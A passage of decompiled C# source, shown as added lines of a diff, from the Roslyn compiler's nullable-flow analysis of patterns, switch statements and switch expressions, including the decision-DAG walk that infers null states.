VisitConstantPattern(BoundConstantPattern node) + { + VisitRvalue(node.Value); + return null; + } + + public override BoundNode VisitDeclarationPattern(BoundDeclarationPattern node) + { + Visit(node.VariableAccess); + Visit(node.DeclaredType); + return null; + } + + public override BoundNode VisitDiscardPattern(BoundDiscardPattern node) + { + return null; + } + + public override BoundNode VisitSlicePattern(BoundSlicePattern node) + { + Visit(node.Pattern); + return null; + } + + public override BoundNode VisitListPattern(BoundListPattern node) + { + VisitAndUnsplitAll(node.Subpatterns); + Visit(node.VariableAccess); + return null; + } + + public override BoundNode VisitTypePattern(BoundTypePattern node) + { + Visit(node.DeclaredType); + return null; + } + + public override BoundNode VisitRelationalPattern(BoundRelationalPattern node) + { + Visit(node.Value); + return null; + } + + public override BoundNode VisitNegatedPattern(BoundNegatedPattern node) + { + Visit(node.Negated); + return null; + } + + public override BoundNode VisitBinaryPattern(BoundBinaryPattern node) + { + Visit(node.Left); + Visit(node.Right); + return null; + } + + public override BoundNode VisitITuplePattern(BoundITuplePattern node) + { + VisitAndUnsplitAll(node.Subpatterns); + return null; + } + + private void LearnFromAnyNullPatterns(int inputSlot, TypeSymbol inputType, BoundPattern pattern) + { + if (inputSlot <= 0) + { + return; + } + VisitForRewriting(pattern); + if (!(pattern is BoundConstantPattern boundConstantPattern)) + { + if (pattern is BoundDeclarationPattern || pattern is BoundDiscardPattern || pattern is BoundITuplePattern || pattern is BoundRelationalPattern || pattern is BoundSlicePattern || pattern is BoundListPattern) + { + return; + } + if (!(pattern is BoundTypePattern boundTypePattern)) + { + if (!(pattern is BoundRecursivePattern boundRecursivePattern)) + { + if (!(pattern is BoundNegatedPattern boundNegatedPattern)) + { + if (!(pattern is BoundBinaryPattern boundBinaryPattern)) + { + throw ExceptionUtilities.UnexpectedValue((object)pattern); + } + LearnFromAnyNullPatterns(inputSlot, inputType, boundBinaryPattern.Left); + LearnFromAnyNullPatterns(inputSlot, inputType, boundBinaryPattern.Right); + } + else + { + LearnFromAnyNullPatterns(inputSlot, inputType, boundNegatedPattern.Negated); + } + return; + } + if (boundRecursivePattern.IsExplicitNotNullTest) + { + LearnFromNullTest(inputSlot, inputType, ref State, markDependentSlotsNotNull: false); + } + if ((object)boundRecursivePattern.DeconstructMethod == null && !boundRecursivePattern.Deconstruction.IsDefault) + { + ImmutableArray tupleElements = inputType.TupleElements; + int i = 0; + for (int num = Math.Min(boundRecursivePattern.Deconstruction.Length, (!tupleElements.IsDefault) ? tupleElements.Length : 0); i < num; i++) + { + BoundSubpattern boundSubpattern = boundRecursivePattern.Deconstruction[i]; + FieldSymbol fieldSymbol = tupleElements[i]; + LearnFromAnyNullPatterns(GetOrCreateSlot(fieldSymbol, inputSlot), fieldSymbol.Type, boundSubpattern.Pattern); + } + } + if (boundRecursivePattern.Properties.IsDefault) + { + return; + } + ImmutableArray.Enumerator enumerator = boundRecursivePattern.Properties.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundPropertySubpattern current = enumerator.Current; + BoundPropertySubpatternMember member = current.Member; + if (member != null) + { + LearnFromAnyNullPatterns(getExtendedPropertySlot(member, inputSlot), member.Type, current.Pattern); + } + } + } + else if (boundTypePattern.IsExplicitNotNullTest) + { + LearnFromNullTest(inputSlot, inputType, ref State, markDependentSlotsNotNull: false); + } + } + else if (boundConstantPattern.Value.ConstantValueOpt == ConstantValue.Null) + { + LearnFromNullTest(inputSlot, inputType, ref State, markDependentSlotsNotNull: false); + } + int getExtendedPropertySlot(BoundPropertySubpatternMember boundPropertySubpatternMember, int num2) + { + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Invalid comparison between Unknown and I4 + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Invalid comparison between Unknown and I4 + if ((object)boundPropertySubpatternMember.Symbol == null) + { + return -1; + } + if (boundPropertySubpatternMember.Receiver != null) + { + num2 = getExtendedPropertySlot(boundPropertySubpatternMember.Receiver, num2); + } + if (num2 < 0) + { + return num2; + } + SymbolKind kind = boundPropertySubpatternMember.Symbol.Kind; + if (((int)kind != 6 && (int)kind != 15) || 1 == 0) + { + return -1; + } + return GetOrCreateSlot(boundPropertySubpatternMember.Symbol, num2); + } + } + + protected override LocalState VisitSwitchStatementDispatch(BoundSwitchStatement node) + { + int slotForSwitchInputValue = GetSlotForSwitchInputValue(node.Expression); + ImmutableArray.Enumerator enumerator; + if (slotForSwitchInputValue > 0) + { + TypeSymbol type = node.Expression.Type; + enumerator = node.SwitchSections.GetEnumerator(); + while (enumerator.MoveNext()) + { + ImmutableArray.Enumerator enumerator2 = enumerator.Current.SwitchLabels.GetEnumerator(); + while (enumerator2.MoveNext()) + { + BoundSwitchLabel current = enumerator2.Current; + LearnFromAnyNullPatterns(slotForSwitchInputValue, type, current.Pattern); + } + } + } + DeclareLocals(node.InnerLocals); + enumerator = node.SwitchSections.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundSwitchSection current2 = enumerator.Current; + DeclareLocals(current2.Locals); + } + Visit(node.Expression); + TypeWithState resultType = ResultType; + PooledDictionary val = LearnFromDecisionDag(node.Syntax, node.ReachabilityDecisionDag, node.Expression, resultType, null); + enumerator = node.SwitchSections.GetEnumerator(); + while (enumerator.MoveNext()) + { + ImmutableArray.Enumerator enumerator2 = enumerator.Current.SwitchLabels.GetEnumerator(); + while (enumerator2.MoveNext()) + { + BoundSwitchLabel current3 = enumerator2.Current; + SetState((((Dictionary)(object)val).TryGetValue(current3.Label, out (LocalState, bool) value) ? value : (UnreachableState(), false)).Item1); + base.PendingBranches.Add(new AbstractFlowPass.PendingBranch(current3, State, current3.Label)); + } + } + (LocalState, bool) value2; + LocalState result = (((Dictionary)(object)val).TryGetValue((LabelSymbol)node.BreakLabel, out value2) ? value2.Item1 : UnreachableState()); + val.Free(); + return result; + } + + protected override void VisitSwitchSection(BoundSwitchSection node, bool isLastSection) + { + TakeIncrementalSnapshot(node); + SetState(UnreachableState()); + ImmutableArray.Enumerator enumerator = node.SwitchLabels.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundSwitchLabel current = enumerator.Current; + TakeIncrementalSnapshot(current); + VisitForRewriting(current.Pattern); + if (!State.Reachable && current.WhenClause != null) + { + VisitForRewriting(current.WhenClause); + } + VisitLabel(current.Label, node); + } + VisitStatementList(node); + } + + private PooledDictionary LearnFromDecisionDag(SyntaxNode node, BoundDecisionDag decisionDag, BoundExpression expression, TypeWithState expressionTypeWithState, PossiblyConditionalState? stateWhenNotNullOpt) + { + //IL_033f: Unknown result type (might be due to invalid IL or missing references) + //IL_0344: Unknown result type (might be due to invalid IL or missing references) + BoundDagTemp boundDagTemp = BoundDagTemp.ForOriginalInput(expression); + int originalInputSlot = MakeSlot(expression); + TypeWithAnnotations typeWithAnnotations = expressionTypeWithState.ToTypeWithAnnotations(compilation); + if (originalInputSlot <= 0) + { + originalInputSlot = makeDagTempSlot(typeWithAnnotations, boundDagTemp); + if (!IsConditionalState) + { + TrackNullableStateForAssignment(null, typeWithAnnotations, originalInputSlot, expressionTypeWithState); + } + } + ImmutableArray immutableArray = ((expression is BoundTupleExpression boundTupleExpression) ? ImmutableArrayExtensions.SelectAsArray(boundTupleExpression.Arguments, (Func)((BoundExpression a, NullableWalker w) => w.GetSlotForSwitchInputValue(a)), this) : default(ImmutableArray)); + PooledDictionary originalInputMap = PooledDictionary.GetInstance(); + ((Dictionary)(object)originalInputMap).Add(originalInputSlot, expression); + PooledDictionary tempMap = PooledDictionary.GetInstance(); + ((Dictionary)(object)tempMap).Add(boundDagTemp, (originalInputSlot, expressionTypeWithState.Type)); + PooledDictionary nodeStateMap = PooledDictionary.GetInstance(); + ((Dictionary)(object)nodeStateMap).Add(decisionDag.RootNode, (PossiblyConditionalState.Create(this), true)); + PooledDictionary instance = PooledDictionary.GetInstance(); + ImmutableArray.Enumerator enumerator = decisionDag.TopologicallySortedNodes.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundDecisionDagNode current = enumerator.Current; + ((Dictionary)(object)nodeStateMap).TryGetValue(current, out (PossiblyConditionalState, bool) value); + var (possiblyConditionalState, flag) = value; + if (possiblyConditionalState.IsConditionalState) + { + SetConditionalState(possiblyConditionalState.StateWhenTrue, possiblyConditionalState.StateWhenFalse); + } + else + { + SetState(possiblyConditionalState.State); + } + if (!(current is BoundEvaluationDecisionDagNode boundEvaluationDecisionDagNode)) + { + if (!(current is BoundTestDecisionDagNode boundTestDecisionDagNode)) + { + if (!(current is BoundLeafDecisionDagNode boundLeafDecisionDagNode)) + { + if (!(current is BoundWhenDecisionDagNode boundWhenDecisionDagNode)) + { + throw ExceptionUtilities.UnexpectedValue((object)current.Kind); + } + Unsplit(); + ImmutableArray.Enumerator enumerator2 = boundWhenDecisionDagNode.Bindings.GetEnumerator(); + while (enumerator2.MoveNext()) + { + BoundPatternBinding current2 = enumerator2.Current; + BoundExpression variableAccess = current2.VariableAccess; + BoundDagTemp tempContainingValue = current2.TempContainingValue; + if (!((Dictionary)(object)tempMap).TryGetValue(tempContainingValue, out (int, TypeSymbol) value2)) + { + continue; + } + (int, TypeSymbol) tuple2 = value2; + int item = tuple2.Item1; + TypeSymbol item2 = tuple2.Item2; + NullableFlowState state = GetState(ref State, item); + if (variableAccess is BoundLocal { LocalSymbol: SourceLocalSymbol localSymbol } boundLocal) + { + TypeWithAnnotations typeWithAnnotations2 = TypeWithState.Create(item2, state).ToTypeWithAnnotations(compilation, boundLocal.DeclarationKind == BoundLocalDeclarationKind.WithInferredType); + if (_variables.TryGetType(localSymbol, out var type)) + { + typeWithAnnotations2 = TypeWithAnnotations.Create(typeWithAnnotations2.Type, type.NullableAnnotation.Join(typeWithAnnotations2.NullableAnnotation)); + } + _variables.SetType(localSymbol, typeWithAnnotations2); + int orCreateSlot = GetOrCreateSlot(localSymbol, 0, forceSlotEvenIfEmpty: true); + if (orCreateSlot > 0) + { + TrackNullableStateForAssignment(null, typeWithAnnotations2, orCreateSlot, TypeWithState.Create(item2, state), item); + } + } + } + if (boundWhenDecisionDagNode.WhenExpression != null && boundWhenDecisionDagNode.WhenExpression.ConstantValueOpt != ConstantValue.True) + { + VisitCondition(boundWhenDecisionDagNode.WhenExpression); + gotoNode(boundWhenDecisionDagNode.WhenTrue, StateWhenTrue, flag); + gotoNode(boundWhenDecisionDagNode.WhenFalse, StateWhenFalse, flag); + } + else + { + gotoNode(boundWhenDecisionDagNode.WhenTrue, State, flag); + } + } + else + { + Unsplit(); + ((Dictionary)(object)instance).Add(boundLeafDecisionDagNode.Label, (State, flag)); + } + continue; + } + BoundDagTest test = boundTestDecisionDagNode.Test; + ((Dictionary)(object)tempMap).TryGetValue(test.Input, out (int, TypeSymbol) value3); + var (num, expressionType) = value3; + Split(); + if (!(test is BoundDagTypeTest)) + { + if (!(test is BoundDagNonNullTest boundDagNonNullTest)) + { + if (!(test is BoundDagExplicitNullTest)) + { + if (!(test is BoundDagValueTest boundDagValueTest)) + { + if (test is BoundDagRelationalTest) + { + if (num > 0) + { + learnFromNonNullTest(num, ref StateWhenTrue); + } + gotoNode(boundTestDecisionDagNode.WhenTrue, StateWhenTrue, flag); + gotoNode(boundTestDecisionDagNode.WhenFalse, StateWhenFalse, flag); + continue; + } + throw ExceptionUtilities.UnexpectedValue((object)test.Kind); + } + if (stateWhenNotNullOpt.HasValue) + { + PossiblyConditionalState conditionalState = stateWhenNotNullOpt.GetValueOrDefault(); + BoundDagEvaluation source = boundDagValueTest.Input.Source; + if (source is BoundDagTypeEvaluation) + { + BoundDagTemp input = source.Input; + if (input != null && input.IsOriginalInput) + { + SetPossiblyConditionalState(in conditionalState); + Split(); + goto IL_0884; + } + } + } + if (num > 0) + { + learnFromNonNullTest(num, ref StateWhenTrue); + } + goto IL_0884; + } + if (num > 0) + { + LearnFromNullTest(num, expressionType, ref StateWhenTrue, markDependentSlotsNotNull: true); + learnFromNonNullTest(num, ref StateWhenFalse); + } + gotoNode(boundTestDecisionDagNode.WhenTrue, StateWhenTrue, flag); + gotoNode(boundTestDecisionDagNode.WhenFalse, StateWhenFalse, flag); + continue; + } + bool flag2 = GetState(ref StateWhenTrue, num).MayBeNull(); + if (num > 0) + { + MarkDependentSlotsNotNull(num, expressionType, ref StateWhenFalse); + if (boundDagNonNullTest.IsExplicitTest) + { + LearnFromNullTest(num, expressionType, ref StateWhenFalse, markDependentSlotsNotNull: false); + } + learnFromNonNullTest(num, ref StateWhenTrue); + } + gotoNode(boundTestDecisionDagNode.WhenTrue, StateWhenTrue, flag); + gotoNode(boundTestDecisionDagNode.WhenFalse, StateWhenFalse, flag && flag2); + continue; + } + if (num > 0) + { + learnFromNonNullTest(num, ref StateWhenTrue); + } + gotoNode(boundTestDecisionDagNode.WhenTrue, StateWhenTrue, flag); + gotoNode(boundTestDecisionDagNode.WhenFalse, StateWhenFalse, flag); + continue; + } + BoundDagEvaluation evaluation = boundEvaluationDecisionDagNode.Evaluation; + if (!((Dictionary)(object)tempMap).TryGetValue(evaluation.Input, out (int, TypeSymbol) value4)) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/FlowAnalysis/NullableWalker_Patterns.cs", 399); + } + var (num2, typeSymbol) = value4; + BoundDagTemp boundDagTemp2; + int num3; + if (!(evaluation is BoundDagDeconstructEvaluation boundDagDeconstructEvaluation)) + { + if (evaluation is BoundDagTypeEvaluation boundDagTypeEvaluation) + { + boundDagTemp2 = new BoundDagTemp(boundDagTypeEvaluation.Syntax, boundDagTypeEvaluation.Type, boundDagTypeEvaluation); + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + ConversionKind kind = _conversions.WithNullability(includeNullability: false).ClassifyConversionFromType(typeSymbol, boundDagTypeEvaluation.Type, isChecked: false, ref useSiteInfo).Kind; + if (kind != ConversionKind.Identity && kind != ConversionKind.ImplicitReference) + { + if (kind == ConversionKind.ExplicitNullable && AreNullableAndUnderlyingTypes(typeSymbol, boundDagTypeEvaluation.Type, out var _)) + { + num3 = GetNullableOfTValueSlot(typeSymbol, num2, out Symbol _, forceSlotEvenIfEmpty: true); + if (num3 >= 0) + { + goto IL_03d1; + } + } + num3 = makeDagTempSlot(TypeWithAnnotations.Create(boundDagTypeEvaluation.Type, NullableAnnotation.NotAnnotated), boundDagTemp2); + } + else + { + num3 = num2; + } + goto IL_03d1; + } + if (!(evaluation is BoundDagFieldEvaluation boundDagFieldEvaluation)) + { + if (!(evaluation is BoundDagPropertyEvaluation boundDagPropertyEvaluation)) + { + if (!(evaluation is BoundDagIndexEvaluation boundDagIndexEvaluation)) + { + if (!(evaluation is BoundDagIndexerEvaluation boundDagIndexerEvaluation)) + { + if (!(evaluation is BoundDagSliceEvaluation boundDagSliceEvaluation)) + { + if (!(evaluation is BoundDagAssignmentEvaluation)) + { + throw ExceptionUtilities.UnexpectedValue((object)boundEvaluationDecisionDagNode.Evaluation.Kind); + } + } + else + { + TypeWithAnnotations type2 = getIndexerOutputType(typeSymbol, boundDagSliceEvaluation.IndexerAccess, isSlice: true); + BoundDagTemp boundDagTemp3 = new BoundDagTemp(boundDagSliceEvaluation.Syntax, type2.Type, boundDagSliceEvaluation); + int slot = makeDagTempSlot(type2, boundDagTemp3); + addToTempMap(boundDagTemp3, slot, type2.Type); + SetState(ref State, slot, NullableFlowState.NotNull); + } + } + else + { + TypeWithAnnotations typeWithAnnotations3 = getIndexerOutputType(typeSymbol, boundDagIndexerEvaluation.IndexerAccess, isSlice: false); + BoundDagTemp boundDagTemp4 = new BoundDagTemp(boundDagIndexerEvaluation.Syntax, typeWithAnnotations3.Type, boundDagIndexerEvaluation); + int num4 = makeDagTempSlot(typeWithAnnotations3, boundDagTemp4); + TrackNullableStateForAssignment(null, typeWithAnnotations3, num4, typeWithAnnotations3.ToTypeWithState()); + addToTempMap(boundDagTemp4, num4, typeWithAnnotations3.Type); + } + } + else + { + addTemp(boundDagIndexEvaluation, boundDagIndexEvaluation.Property.Type); + } + } + else + { + PropertySymbol propertySymbol = (PropertySymbol)AsMemberOfType(typeSymbol, boundDagPropertyEvaluation.Property); + TypeWithAnnotations typeWithAnnotations4 = propertySymbol.TypeWithAnnotations; + BoundDagTemp boundDagTemp5 = new BoundDagTemp(boundDagPropertyEvaluation.Syntax, typeWithAnnotations4.Type, boundDagPropertyEvaluation); + int num5 = GetOrCreateSlot(propertySymbol, num2, forceSlotEvenIfEmpty: true); + if (num5 <= 0) + { + num5 = makeDagTempSlot(typeWithAnnotations4, boundDagTemp5); + } + addToTempMap(boundDagTemp5, num5, typeWithAnnotations4.Type); + if ((object)propertySymbol.GetMethod != null) + { + ApplyMemberPostConditions(num2, propertySymbol.GetMethod); + } + } + } + else + { + FieldSymbol fieldSymbol = (FieldSymbol)AsMemberOfType(typeSymbol, boundDagFieldEvaluation.Field); + TypeWithAnnotations typeWithAnnotations5 = fieldSymbol.TypeWithAnnotations; + BoundDagTemp boundDagTemp6 = new BoundDagTemp(boundDagFieldEvaluation.Syntax, typeWithAnnotations5.Type, boundDagFieldEvaluation); + int num6 = -1; + FieldSymbol fieldSymbol2 = ((boundDagFieldEvaluation.Input.IsOriginalInput && !immutableArray.IsDefault) ? fieldSymbol : null); + if ((object)fieldSymbol2 != null) + { + num6 = immutableArray[fieldSymbol2.TupleElementIndex]; + } + if (num6 <= 0) + { + num6 = GetOrCreateSlot(fieldSymbol, num2, forceSlotEvenIfEmpty: true); + if ((object)fieldSymbol2 != null && num6 > 0 && !((Dictionary)(object)originalInputMap).ContainsKey(num6)) + { + ((Dictionary)(object)originalInputMap).Add(num6, ((BoundTupleExpression)expression).Arguments[fieldSymbol2.TupleElementIndex]); + } + } + if (num6 <= 0) + { + num6 = makeDagTempSlot(typeWithAnnotations5, boundDagTemp6); + } + addToTempMap(boundDagTemp6, num6, typeWithAnnotations5.Type); + } + } + else + { + MethodSymbol deconstructMethod = boundDagDeconstructEvaluation.DeconstructMethod; + int num7 = ((!deconstructMethod.RequiresInstanceReceiver) ? 1 : 0); + for (int num8 = 0; num8 < deconstructMethod.ParameterCount - num7; num8++) + { + TypeWithAnnotations typeWithAnnotations6 = deconstructMethod.Parameters[num8 + num7].TypeWithAnnotations; + BoundDagTemp boundDagTemp7 = new BoundDagTemp(boundDagDeconstructEvaluation.Syntax, typeWithAnnotations6.Type, boundDagDeconstructEvaluation, num8); + int slot2 = makeDagTempSlot(typeWithAnnotations6, boundDagTemp7); + addToTempMap(boundDagTemp7, slot2, typeWithAnnotations6.Type); + } + } + goto IL_065c; + IL_0884: + bool flag3 = boundDagValueTest.Value == ConstantValue.False; + gotoNode(boundTestDecisionDagNode.WhenTrue, flag3 ? StateWhenFalse : StateWhenTrue, flag); + gotoNode(boundTestDecisionDagNode.WhenFalse, flag3 ? StateWhenTrue : StateWhenFalse, flag); + continue; + IL_03d1: + Unsplit(); + SetState(ref State, num3, NullableFlowState.NotNull); + addToTempMap(boundDagTemp2, num3, boundDagTypeEvaluation.Type); + goto IL_065c; + IL_065c: + gotoNodeWithCurrentState(boundEvaluationDecisionDagNode.Next, flag); + } + SetUnreachable(); + originalInputMap.Free(); + tempMap.Free(); + nodeStateMap.Free(); + return instance; + void addTemp(BoundDagEvaluation e, TypeSymbol t, int index = 0) + { + TypeWithAnnotations type3 = TypeWithAnnotations.Create(t, NullableAnnotation.Annotated); + BoundDagTemp boundDagTemp8 = new BoundDagTemp(e.Syntax, type3.Type, e, index); + int slot3 = makeDagTempSlot(type3, boundDagTemp8); + addToTempMap(boundDagTemp8, slot3, type3.Type); + } + void addToTempMap(BoundDagTemp output, int item3, TypeSymbol item4) + { + if (!((Dictionary)(object)tempMap).TryGetValue(output, out (int, TypeSymbol) _)) + { + ((Dictionary)(object)tempMap).Add(output, (item3, item4)); + } + } + static TypeWithAnnotations getIndexerOutputType(TypeSymbol inputType, BoundExpression e, bool isSlice) + { + if (e is BoundIndexerAccess boundIndexerAccess) + { + return AsMemberOfType(inputType, boundIndexerAccess.Indexer).GetTypeOrReturnType(); + } + if (e is BoundCall boundCall) + { + return AsMemberOfType(inputType, boundCall.Method).GetTypeOrReturnType(); + } + if (e is BoundArrayAccess) + { + return isSlice ? TypeWithAnnotations.Create(isNullableEnabled: true, inputType) : ((ArrayTypeSymbol)inputType).ElementTypeWithAnnotations; + } + if (!(e is BoundImplicitIndexerAccess boundImplicitIndexerAccess)) + { + throw ExceptionUtilities.UnexpectedValue((object)e.Kind); + } + return getIndexerOutputType(inputType, boundImplicitIndexerAccess.IndexerOrSliceAccess, isSlice); + } + void gotoNode(BoundDecisionDagNode key, LocalState other, bool believedReachable) + { + PossiblyConditionalState item3; + if (((Dictionary)(object)nodeStateMap).TryGetValue(key, out (PossiblyConditionalState, bool) value5)) + { + (item3, _) = value5; + if (item3.IsConditionalState) + { + Join(ref item3.StateWhenTrue, ref other); + Join(ref item3.StateWhenFalse, ref other); + } + else + { + Join(ref item3.State, ref other); + } + believedReachable |= value5.Item2; + } + else + { + item3 = new PossiblyConditionalState(other); + } + ((Dictionary)(object)nodeStateMap)[key] = (item3, believedReachable); + } + void gotoNodeWithCurrentState(BoundDecisionDagNode key, bool believedReachable) + { + if (((Dictionary)(object)nodeStateMap).TryGetValue(key, out (PossiblyConditionalState, bool) value5)) + { + bool isConditionalState = IsConditionalState; + bool isConditionalState2 = value5.Item1.IsConditionalState; + if (isConditionalState) + { + if (isConditionalState2) + { + Join(ref StateWhenTrue, ref value5.Item1.StateWhenTrue); + Join(ref StateWhenFalse, ref value5.Item1.StateWhenFalse); + } + else + { + Join(ref StateWhenTrue, ref value5.Item1.State); + Join(ref StateWhenFalse, ref value5.Item1.State); + } + } + else if (isConditionalState2) + { + Split(); + Join(ref StateWhenTrue, ref value5.Item1.StateWhenTrue); + Join(ref StateWhenFalse, ref value5.Item1.StateWhenFalse); + } + else + { + Join(ref State, ref value5.Item1.State); + } + believedReachable |= value5.Item2; + } + ((Dictionary)(object)nodeStateMap)[key] = (PossiblyConditionalState.Create(this), believedReachable); + } + void learnFromNonNullTest(int inputSlot, ref LocalState reference) + { + if (stateWhenNotNullOpt.HasValue) + { + PossiblyConditionalState conditionalState2 = stateWhenNotNullOpt.GetValueOrDefault(); + if (inputSlot == originalInputSlot) + { + reference = CloneAndUnsplit(ref conditionalState2); + } + } + LearnFromNonNullTest(inputSlot, ref reference); + if (((Dictionary)(object)originalInputMap).TryGetValue(inputSlot, out BoundExpression value5)) + { + LearnFromNonNullTest(value5, ref reference); + } + } + int makeDagTempSlot(TypeWithAnnotations type3, BoundDagTemp temp) + { + object identifier = (node, temp); + return GetOrCreatePlaceholderSlot(identifier, type3); + } + } + + public override BoundNode VisitConvertedSwitchExpression(BoundConvertedSwitchExpression node) + { + bool inferType = !node.WasTargetTyped; + VisitSwitchExpressionCore(node, inferType); + return null; + } + + public override BoundNode VisitUnconvertedSwitchExpression(BoundUnconvertedSwitchExpression node) + { + VisitSwitchExpressionCore(node, inferType: true); + return null; + } + + private void VisitSwitchExpressionCore(BoundSwitchExpression node, bool inferType) + { + //IL_02e6: Unknown result type (might be due to invalid IL or missing references) + //IL_02eb: Unknown result type (might be due to invalid IL or missing references) + //IL_0192: Unknown result type (might be due to invalid IL or missing references) + //IL_0197: Unknown result type (might be due to invalid IL or missing references) + int slotForSwitchInputValue = GetSlotForSwitchInputValue(node.Expression); + ImmutableArray.Enumerator enumerator; + if (slotForSwitchInputValue > 0) + { + TypeSymbol type = node.Expression.Type; + enumerator = node.SwitchArms.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundSwitchExpressionArm current = enumerator.Current; + LearnFromAnyNullPatterns(slotForSwitchInputValue, type, current.Pattern); + } + } + Visit(node.Expression); + TypeWithState resultType = ResultType; + PooledDictionary val = LearnFromDecisionDag(node.Syntax, node.ReachabilityDecisionDag, node.Expression, resultType, null); + LocalState self = UnreachableState(); + bool unnamedEnumValue; + if (!node.ReportedNotExhaustive && node.DefaultLabel != null && ((Dictionary)(object)val).TryGetValue(node.DefaultLabel, out (LocalState, bool) value) && value.Item2) + { + SetState(value.Item1); + ImmutableArray topologicallySortedNodes = node.ReachabilityDecisionDag.TopologicallySortedNodes; + BoundDecisionDagNode targetNode = topologicallySortedNodes.Where((BoundDecisionDagNode n) => n is BoundLeafDecisionDagNode boundLeafDecisionDagNode && boundLeafDecisionDagNode.Label == node.DefaultLabel).First(); + bool requiresFalseWhenClause; + string text = PatternExplainer.SamplePatternForPathToDagNode(BoundDagTemp.ForOriginalInput(node.Expression), topologicallySortedNodes, targetNode, nullPaths: true, out requiresFalseWhenClause, out unnamedEnumValue); + ErrorCode errorCode = (requiresFalseWhenClause ? ErrorCode.WRN_SwitchExpressionNotExhaustiveForNullWithWhen : ErrorCode.WRN_SwitchExpressionNotExhaustiveForNull); + SyntaxToken switchKeyword = ((SwitchExpressionSyntax)(object)node.Syntax).SwitchKeyword; + ReportDiagnostic(errorCode, ((SyntaxToken)(ref switchKeyword)).GetLocation(), text); + } + int length = node.SwitchArms.Length; + ArrayBuilder instance = ArrayBuilder.GetInstance(length); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(length); + ArrayBuilder instance3 = ArrayBuilder.GetInstance(length); + ArrayBuilder instance4 = ArrayBuilder.GetInstance(length); + enumerator = node.SwitchArms.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundSwitchExpressionArm current2 = enumerator.Current; + SetState(getStateForArm(current2, val)); + TakeIncrementalSnapshot(current2); + VisitForRewriting(current2.Pattern); + if (!State.Reachable && current2.WhenClause != null) + { + VisitForRewriting(current2.WhenClause); + } + var (boundExpression, conversion) = RemoveConversion(current2.Value, includeExplicitConversions: false); + SnapshotWalkerThroughConversionGroup(current2.Value, boundExpression); + instance3.Add(boundExpression); + instance.Add(conversion); + TypeWithState typeWithState = VisitRvalueWithState(boundExpression); + instance2.Add(typeWithState); + Join(ref self, ref State); + instance4.Add(CreatePlaceholderIfNecessary(boundExpression, typeWithState.ToTypeWithAnnotations(compilation))); + } + SetState(self); + ImmutableArray exprs = instance4.ToImmutableAndFree(); + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + TypeSymbol typeSymbol = (inferType ? BestTypeInferrer.InferBestType(exprs, _conversions, ref useSiteInfo, out unnamedEnumValue) : null) ?? node.Type?.SetUnknownNullabilityForReferenceTypes(); + TypeWithAnnotations typeWithAnnotations = TypeWithAnnotations.Create(typeSymbol); + if (inferType && (object)typeSymbol == null) + { + NullableFlowState defaultState = NullableFlowState.NotNull; + TypeWithState resultType2 = TypeWithState.Create(typeSymbol, defaultState); + instance.Free(); + instance2.Free(); + instance3.Free(); + val.Free(); + SetResult(node, resultType2, typeWithAnnotations); + } + else + { + TypeWithState resultType2 = convertArms(node, val, instance, instance2, instance3, typeWithAnnotations, !inferType); + SetResult(node, resultType2, typeWithAnnotations, updateAnalyzedNullability: false); + } + void addConvertArmsAsCompletion(BoundSwitchExpression boundSwitchExpression, PooledDictionary labelStateMap, ArrayBuilder conversions, ArrayBuilder resultTypes, ArrayBuilder expressions) + { + ((Dictionary>)(object)TargetTypedAnalysisCompletion)[(BoundExpression)boundSwitchExpression] = (TypeWithAnnotations inferredTypeWithAnnotations) => convertArms(boundSwitchExpression, labelStateMap, conversions, resultTypes, expressions, inferredTypeWithAnnotations, isTargetTyped: false); + } + TypeWithState convertArms(BoundSwitchExpression boundSwitchExpression, PooledDictionary labelStateMap, ArrayBuilder conversions, ArrayBuilder resultTypes, ArrayBuilder expressions, TypeWithAnnotations inferredTypeWithAnnotations, bool isTargetTyped) + { + if (!isTargetTyped) + { + int length2 = boundSwitchExpression.SwitchArms.Length; + for (int i = 0; i < length2; i++) + { + BoundExpression operand = expressions[i]; + BoundSwitchExpressionArm boundSwitchExpressionArm = boundSwitchExpression.SwitchArms[i]; + LocalState state = getStateForArm(boundSwitchExpressionArm, labelStateMap); + resultTypes[i] = ConvertConditionalOperandOrSwitchExpressionArmResult(boundSwitchExpressionArm.Value, operand, conversions[i], inferredTypeWithAnnotations, resultTypes[i], state, state.Reachable); + } + } + NullableFlowState nullableState = BestTypeInferrer.GetNullableState(resultTypes); + if (!isTargetTyped) + { + conversions.Free(); + resultTypes.Free(); + expressions.Free(); + labelStateMap.Free(); + } + else + { + addConvertArmsAsCompletion(boundSwitchExpression, labelStateMap, conversions, resultTypes, expressions); + } + TypeWithState typeWithState2 = TypeWithState.Create(inferredTypeWithAnnotations.Type, nullableState); + if (!isTargetTyped) + { + SetAnalyzedNullability(boundSwitchExpression, typeWithState2); + } + return typeWithState2; + } + LocalState getStateForArm(BoundSwitchExpressionArm arm, PooledDictionary labelStateMap) + { + if (arm.Pattern.HasErrors || !((Dictionary)(object)labelStateMap).TryGetValue(arm.Label, out (LocalState, bool) value2)) + { + return UnreachableState(); + } + return value2.Item1; + } + } + + private int GetSlotForSwitchInputValue(BoundExpression node) + { + if (!node.IsSuppressed) + { + return MakeSlot(node); + } + return GetOrCreatePlaceholderSlot(node); + } + + public override BoundNode VisitIsPatternExpression(BoundIsPatternExpression node) + { + LearnFromAnyNullPatterns(node.Expression, node.Pattern); + VisitForRewriting(node.Pattern); + PossiblyConditionalState stateWhenNotNull; + bool flag = VisitPossibleConditionalAccess(node.Expression, out stateWhenNotNull); + TypeWithState resultType = ResultType; + PooledDictionary obj = LearnFromDecisionDag(node.Syntax, node.ReachabilityDecisionDag, node.Expression, resultType, flag ? new PossiblyConditionalState?(stateWhenNotNull) : ((PossiblyConditionalState?)null)); + (LocalState, bool) value; + LocalState whenTrue = (((Dictionary)(object)obj).TryGetValue(node.IsNegated ? node.WhenFalseLabel : 